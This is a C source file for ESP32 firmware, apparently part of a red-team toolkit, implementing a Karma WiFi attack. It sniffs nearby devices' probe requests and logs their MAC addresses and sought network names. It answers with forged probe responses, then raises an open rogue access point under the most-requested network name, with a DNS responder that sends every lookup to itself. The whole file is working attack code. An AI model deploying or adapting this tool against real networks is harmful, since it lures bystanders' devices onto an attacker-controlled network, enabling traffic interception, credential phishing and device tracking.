/*
 * rt_karma.c
 * Karma attack — listens for WiFi probe requests in promiscuous mode,
 * responds with probe responses matching the requested SSID, then
 * starts a rogue SoftAP with the most-requested SSID.
 *
 * Self-contained: does NOT depend on mod_fakeAP. Uses its own
 * minimal SoftAP + DNS responder.
 */
#include "sdkconfig.h"

#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_KARMA)

#include <string.h>
#include <stdatomic.h>

#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_wifi.h"
#include "esp_log.h"
#include "esp_random.h"
#include "esp_timer.h"
#include "esp_netif.h"
#include "lwip/sockets.h"
#include "lwip/dns.h"
#include "esp_event.h"

#include "rt_karma.h"
#include "rt_promisc.h"
#include "rt_attack.h"

#define TAG "RT_KARMA"

/* ============================================================
 * IEEE 802.11 frame helpers
 * ============================================================ */

/* Management frame header (24 bytes) */
typedef struct __attribute__((packed)) {
    uint16_t frame_ctrl;
    uint16_t duration;
    uint8_t  addr1[6]; /* destination */
    uint8_t  addr2[6]; /* source (our BSSID) */
    uint8_t  addr3[6]; /* BSSID */
    uint16_t seq_ctrl;
} mgmt_hdr_t;

_Static_assert(sizeof(mgmt_hdr_t) == 24, "mgmt header must be 24 bytes");

/* Probe Response fixed fields (12 bytes) */
typedef struct __attribute__((packed)) {
    uint64_t timestamp;
    uint16_t beacon_interval; /* 0x0064 = 100 TU */
    uint16_t capability;      /* 0x0421 = ESS + short preamble + short slot */
} probe_resp_fixed_t;

_Static_assert(sizeof(probe_resp_fixed_t) == 12, "probe resp fixed fields must be 12 bytes");

/* ============================================================
 * State
 * ============================================================ */

static atomic_bool      s_active = ATOMIC_VAR_INIT(false);
static TaskHandle_t     s_task   = NULL;
static TaskHandle_t     s_dns_task = NULL;

/* Our fake BSSID (generated at start) */
static uint8_t s_bssid[6];

/* Client tracking — circular buffer */
static rt_karma_client_t s_clients[RT_KARMA_MAX_CLIENTS];
static int               s_client_count = 0;

/* Most popular SSID for SoftAP */
static char s_top_ssid[33] = {0};

/* SoftAP netif handle */
static esp_netif_t *s_ap_netif = NULL;

/* ============================================================
 * Client tracking
 * ============================================================ */

static int find_client(const uint8_t mac[6])
{
    for (int i = 0; i < s_client_count; i++) {
        if (memcmp(s_clients[i].mac, mac, 6) == 0)
            return i;
    }
    return -1;
}

static void track_client(const uint8_t mac[6], const char *ssid)
{
    int64_t now = esp_timer_get_time() / 1000;
    int idx = find_client(mac);

    if (idx >= 0) {
        /* Update existing */
        s_clients[idx].last_seen_ms = now;
        if (ssid[0] && strcmp(s_clients[idx].ssid, ssid) != 0) {
            strncpy(s_clients[idx].ssid, ssid, 32);
            s_clients[idx].ssid[32] = '\0';
        }
        return;
    }

    /* Add new — circular overwrite if full */
    idx = s_client_count;
    if (idx >= RT_KARMA_MAX_CLIENTS) {
        idx = 0; /* overwrite oldest */
        /* Shift is expensive; just overwrite slot 0 for simplicity */
    } else {
        s_client_count++;
    }

    memcpy(s_clients[idx].mac, mac, 6);
    strncpy(s_clients[idx].ssid, ssid, 32);
    s_clients[idx].ssid[32] = '\0';
    s_clients[idx].first_seen_ms = now;
    s_clients[idx].last_seen_ms  = now;
    s_clients[idx].connected     = false;

    ESP_LOGI(TAG, "New probe from %02X:%02X:%02X:%02X:%02X:%02X for '%s'",
             mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], ssid);
}

/* ============================================================
 * Build and send probe response
 * ============================================================ */

static void send_probe_response(const uint8_t dst[6], const char *ssid, uint8_t channel)
{
    size_t ssid_len = strlen(ssid);
    if (ssid_len > 32) ssid_len = 32;

    /* Supported rates IE (mandatory) */
    static const uint8_t rates[] = { 0x82, 0x84, 0x8B, 0x96,
                                      0x0C, 0x12, 0x18, 0x24 };
    /* Frame layout:
     * mgmt_hdr(24) + fixed(12) + SSID IE(2+len) + rates IE(2+8) + DS IE(2+1) */
    size_t frame_len = sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t)
                     + 2 + ssid_len + 2 + sizeof(rates) + 2 + 1;

    uint8_t frame[128]; /* max needed ~80 bytes */
    if (frame_len > sizeof(frame)) return;
    memset(frame, 0, sizeof(frame));

    /* Header: probe response = type 0, subtype 5 → frame_ctrl = 0x0050 */
    mgmt_hdr_t *hdr = (mgmt_hdr_t *)frame;
    hdr->frame_ctrl = 0x0050;
    memcpy(hdr->addr1, dst, 6);
    memcpy(hdr->addr2, s_bssid, 6);
    memcpy(hdr->addr3, s_bssid, 6);

    /* Fixed fields */
    probe_resp_fixed_t *fixed = (probe_resp_fixed_t *)(frame + sizeof(mgmt_hdr_t));
    fixed->timestamp = 0; /* driver fills this */
    fixed->beacon_interval = 0x0064; /* 100 TU */
    fixed->capability = 0x0421;      /* ESS + short preamble + short slot */

    /* Tagged parameters */
    uint8_t *ie = frame + sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t);

    /* SSID IE (tag 0) */
    *ie++ = 0x00;
    *ie++ = (uint8_t)ssid_len;
    memcpy(ie, ssid, ssid_len);
    ie += ssid_len;

    /* Supported rates IE (tag 1) */
    *ie++ = 0x01;
    *ie++ = sizeof(rates);
    memcpy(ie, rates, sizeof(rates));
    ie += sizeof(rates);

    /* DS Parameter Set IE (tag 3) — current channel */
    *ie++ = 0x03;
    *ie++ = 0x01;
    *ie++ = channel;

    esp_wifi_80211_tx(WIFI_IF_STA, frame, frame_len, false);
}

/* ============================================================
 * Promiscuous callback — capture probe requests
 * ============================================================ */

static void IRAM_ATTR karma_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
    if (type != WIFI_PKT_MGMT) return;

    wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
    const uint8_t *payload = pkt->payload;

    /* Frame control */
    uint16_t fc = payload[0] | (payload[1] << 8);
    uint8_t subtype = (fc >> 4) & 0x0F;

    /* Probe request = type 0 (mgmt), subtype 4 */
    if (subtype != 4) return;

    /* Extract source MAC (addr2, offset 10) */
    const uint8_t *src_mac = payload + 10;

    /* Skip our own BSSID */
    if (memcmp(src_mac, s_bssid, 6) == 0) return;

    /* Parse SSID IE from body (offset 24 for mgmt frames) */
    size_t body_start = 24;
    size_t pkt_len = pkt->rx_ctrl.sig_len;
    if (pkt_len > 4) pkt_len -= 4; /* strip FCS */
    if (pkt_len <= body_start + 2) return;

    const uint8_t *body = payload + body_start;
    size_t body_len = pkt_len - body_start;

    /* First IE should be SSID (tag 0) */
    if (body[0] != 0x00) return;
    uint8_t ssid_len = body[1];
    if (ssid_len == 0 || ssid_len > 32) return; /* skip broadcast probes */
    if (2 + ssid_len > body_len) return;

    char ssid[33];
    memcpy(ssid, body + 2, ssid_len);
    ssid[ssid_len] = '\0';

    /* Track this client */
    track_client(src_mac, ssid);

    /* Respond with a probe response matching their SSID */
    send_probe_response(src_mac, ssid, pkt->rx_ctrl.channel);
}

/* Handler for the promiscuous dispatcher */
static const rt_promisc_handler_t s_karma_handler = {
    .cb          = karma_promisc_cb,
    .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT,
    .tag         = "karma",
};

/* ============================================================
 * Mini DNS responder — responds our AP IP for all queries
 * ============================================================ */

static void dns_responder_task(void *arg)
{
    (void)arg;

    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if (sock < 0) {
        ESP_LOGE(TAG, "DNS socket failed");
        vTaskDelete(NULL);
        return;
    }

    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port   = htons(53),
        .sin_addr.s_addr = INADDR_ANY,
    };

    int opt = 1;
    setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        ESP_LOGE(TAG, "DNS bind failed");
        close(sock);
        vTaskDelete(NULL);
        return;
    }

    /* Our AP IP = 192.168.4.1 */
    uint8_t ap_ip[4] = {192, 168, 4, 1};

    uint8_t buf[512];
    struct sockaddr_in client_addr;
    socklen_t client_len;

    while (atomic_load(&s_active)) {
        client_len = sizeof(client_addr);
        int n = recvfrom(sock, buf, sizeof(buf), 0,
                         (struct sockaddr *)&client_addr, &client_len);
        if (n < 12) continue; /* too short for DNS header */

        /* Build a minimal DNS response:
         * - Copy transaction ID
         * - Set flags: response + recursion available
         * - Copy the question section
         * - Append a single A record answer
         */
        uint8_t resp[512];
        int resp_len = 0;

        /* Transaction ID (2 bytes) */
        resp[0] = buf[0];
        resp[1] = buf[1];

        /* Flags: standard response, no error */
        resp[2] = 0x81; /* QR=1, RD=1 */
        resp[3] = 0x80; /* RA=1 */

        /* Questions: 1, Answers: 1, Authority: 0, Additional: 0 */
        resp[4] = 0x00; resp[5] = 0x01; /* QDCOUNT */
        resp[6] = 0x00; resp[7] = 0x01; /* ANCOUNT */
        resp[8] = 0x00; resp[9] = 0x00; /* NSCOUNT */
        resp[10] = 0x00; resp[11] = 0x00; /* ARCOUNT */

        resp_len = 12;

        /* Copy the question section from the request */
        int q_start = 12;
        int q_pos = q_start;
        /* Walk past the QNAME (labels terminated by 0x00) */
        while (q_pos < n && buf[q_pos] != 0x00) {
            q_pos += 1 + buf[q_pos]; /* skip label */
        }
        q_pos++; /* skip the 0x00 terminator */
        q_pos += 4; /* skip QTYPE(2) + QCLASS(2) */

        int q_len = q_pos - q_start;
        if (resp_len + q_len > (int)sizeof(resp) - 16) {
            continue; /* too long */
        }
        memcpy(resp + resp_len, buf + q_start, q_len);
        resp_len += q_len;

        /* Answer: pointer to QNAME + A record */
        resp[resp_len++] = 0xC0; /* name pointer */
        resp[resp_len++] = 0x0C; /* offset 12 = start of question */
        resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* TYPE A */
        resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* CLASS IN */
        resp[resp_len++] = 0x00; resp[resp_len++] = 0x00;
        resp[resp_len++] = 0x00; resp[resp_len++] = 0x3C; /* TTL = 60s */
        resp[resp_len++] = 0x00; resp[resp_len++] = 0x04; /* RDLENGTH = 4 */
        memcpy(resp + resp_len, ap_ip, 4);
        resp_len += 4;

        sendto(sock, resp, resp_len, 0,
               (struct sockaddr *)&client_addr, client_len);
    }

    close(sock);
    s_dns_task = NULL;
    vTaskDelete(NULL);
}

/* ============================================================
 * Find the most-requested SSID
 * ============================================================ */

static void find_top_ssid(void)
{
    /* Simple frequency count on client SSIDs */
    typedef struct { char ssid[33]; int count; } freq_t;
    freq_t freq[RT_KARMA_MAX_CLIENTS];
    int freq_count = 0;

    for (int i = 0; i < s_client_count; i++) {
        if (s_clients[i].ssid[0] == '\0') continue;
        bool found = false;
        for (int j = 0; j < freq_count; j++) {
            if (strcmp(freq[j].ssid, s_clients[i].ssid) == 0) {
                freq[j].count++;
                found = true;
                break;
            }
        }
        if (!found && freq_count < RT_KARMA_MAX_CLIENTS) {
            strncpy(freq[freq_count].ssid, s_clients[i].ssid, 32);
            freq[freq_count].ssid[32] = '\0';
            freq[freq_count].count = 1;
            freq_count++;
        }
    }

    /* Find max */
    int max_count = 0;
    for (int i = 0; i < freq_count; i++) {
        if (freq[i].count > max_count) {
            max_count = freq[i].count;
            strncpy(s_top_ssid, freq[i].ssid, 32);
            s_top_ssid[32] = '\0';
        }
    }
}

/* ============================================================
 * Start SoftAP with the top SSID
 * ============================================================ */

static esp_err_t start_rogue_ap(const char *ssid)
{
    /* Switch to AP+STA mode */
    esp_err_t ret = esp_wifi_set_mode(WIFI_MODE_APSTA);
    if (ret != ESP_OK) {
        ESP_LOGE(TAG, "Failed to set APSTA mode: %s", esp_err_to_name(ret));
        return ret;
    }

    /* Create AP netif if needed */
    if (!s_ap_netif) {
        s_ap_netif = esp_netif_create_default_wifi_ap();
    }

    wifi_config_t ap_cfg = {
        .ap = {
            .channel        = 1,
            .max_connection = 4,
            .authmode       = WIFI_AUTH_OPEN,
        },
    };
    strncpy((char *)ap_cfg.ap.ssid, ssid, sizeof(ap_cfg.ap.ssid) - 1);
    ap_cfg.ap.ssid_len = strlen(ssid);

    ret = esp_wifi_set_config(WIFI_IF_AP, &ap_cfg);
    if (ret != ESP_OK) {
        ESP_LOGE(TAG, "AP config failed: %s", esp_err_to_name(ret));
        return ret;
    }

    ESP_LOGI(TAG, "Rogue AP started: SSID='%s'", ssid);
    return ESP_OK;
}

static void stop_rogue_ap(void)
{
    esp_wifi_set_mode(WIFI_MODE_STA);
    ESP_LOGI(TAG, "Rogue AP stopped");
}

/* ============================================================
 * Main karma task
 * ============================================================ */

static void karma_task(void *arg)
{
    uint32_t duration_s = (uint32_t)(uintptr_t)arg;

    /* Generate a random locally-administered BSSID */
    esp_fill_random(s_bssid, 6);
    s_bssid[0] &= 0xFE; /* unicast */
    s_bssid[0] |= 0x02; /* locally administered */

    /* Reset client list */
    s_client_count = 0;
    memset(s_clients, 0, sizeof(s_clients));
    s_top_ssid[0] = '\0';

    /* Register with promiscuous dispatcher */
    esp_err_t ret = rt_promisc_register(&s_karma_handler);
    if (ret != ESP_OK) {
        ESP_LOGE(TAG, "Promisc register failed");
        rt_attack_stop();
        atomic_store(&s_active, false);
        s_task = NULL;
        vTaskDelete(NULL);
        return;
    }

    rt_promisc_enable();

    ESP_LOGI(TAG, "Karma listening (BSSID=%02X:%02X:%02X:%02X:%02X:%02X, duration=%s)",
             s_bssid[0], s_bssid[1], s_bssid[2],
             s_bssid[3], s_bssid[4], s_bssid[5],
             duration_s ? "timed" : "continuous");

    /* Phase 1: Listen for probes (5s or until we have clients) */
    int listen_ms = 5000;
    int elapsed = 0;
    while (atomic_load(&s_active) && elapsed < listen_ms) {
        vTaskDelay(pdMS_TO_TICKS(500));
        elapsed += 500;
    }

    if (!atomic_load(&s_active)) goto cleanup;

    /* Phase 2: Start rogue AP with the most-requested SSID */
    if (s_client_count > 0) {
        find_top_ssid();
        if (s_top_ssid[0]) {
            start_rogue_ap(s_top_ssid);

            /* Start DNS responder */
            xTaskCreatePinnedToCore(dns_responder_task, "karma_dns",
                                    3072, NULL, 5, &s_dns_task, 1);
        }
    } else {
        ESP_LOGI(TAG, "No probes captured, continuing to listen...");
    }

    /* Phase 3: Keep running — continue responding to probes */
    if (duration_s > 0) {
        uint32_t remaining_ms = (duration_s * 1000) - elapsed;
        uint32_t waited = 0;
        while (atomic_load(&s_active) && waited < remaining_ms) {
            vTaskDelay(pdMS_TO_TICKS(1000));
            waited += 1000;

            /* Periodically update the AP SSID if a new top SSID emerges */
            if (waited % 10000 == 0 && s_client_count > 0) {
                char old[33];
                strncpy(old, s_top_ssid, 32);
                old[32] = '\0';
                find_top_ssid();
                if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
                    start_rogue_ap(s_top_ssid);
                }
            }
        }
    } else {
        /* Continuous mode */
        while (atomic_load(&s_active)) {
            vTaskDelay(pdMS_TO_TICKS(1000));

            /* Update AP SSID every 10s if needed */
            static uint32_t ticker = 0;
            ticker++;
            if (ticker % 10 == 0 && s_client_count > 0) {
                char old[33];
                strncpy(old, s_top_ssid, 32);
                old[32] = '\0';
                find_top_ssid();
                if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) {
                    start_rogue_ap(s_top_ssid);
                }
            }
        }
    }

cleanup:
    /* Stop DNS responder */
    if (s_dns_task) {
        /* dns task checks s_active and will exit */
        vTaskDelay(pdMS_TO_TICKS(200));
    }

    rt_promisc_unregister(&s_karma_handler);
    rt_promisc_disable();
    stop_rogue_ap();
    rt_attack_stop();

    ESP_LOGI(TAG, "Karma stopped: %d clients tracked", s_client_count);

    atomic_store(&s_active, false);
    s_task = NULL;
    vTaskDelete(NULL);
}

/* ============================================================
 * Public API
 * ============================================================ */

void rt_karma_start(uint32_t duration_s)
{
    if (atomic_load(&s_active)) {
        ESP_LOGW(TAG, "Karma already running");
        return;
    }

    if (rt_attack_start(RT_ATTACK_KARMA) != ESP_OK) {
        ESP_LOGW(TAG, "Cannot start: another attack running (%s)",
                 rt_attack_name());
        return;
    }

    atomic_store(&s_active, true);

    xTaskCreatePinnedToCore(
        karma_task,
        "rt_karma",
        6144,
        (void *)(uintptr_t)duration_s,
        6,
        &s_task,
        1 /* Core 1 */
    );
}

void rt_karma_stop(void)
{
    atomic_store(&s_active, false);
}

bool rt_karma_is_active(void)
{
    return atomic_load(&s_active);
}

int rt_karma_get_clients(rt_karma_client_t *out, int max_count)
{
    int count = s_client_count;
    if (count > max_count) count = max_count;
    memcpy(out, s_clients, count * sizeof(rt_karma_client_t));
    return count;
}

#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_KARMA */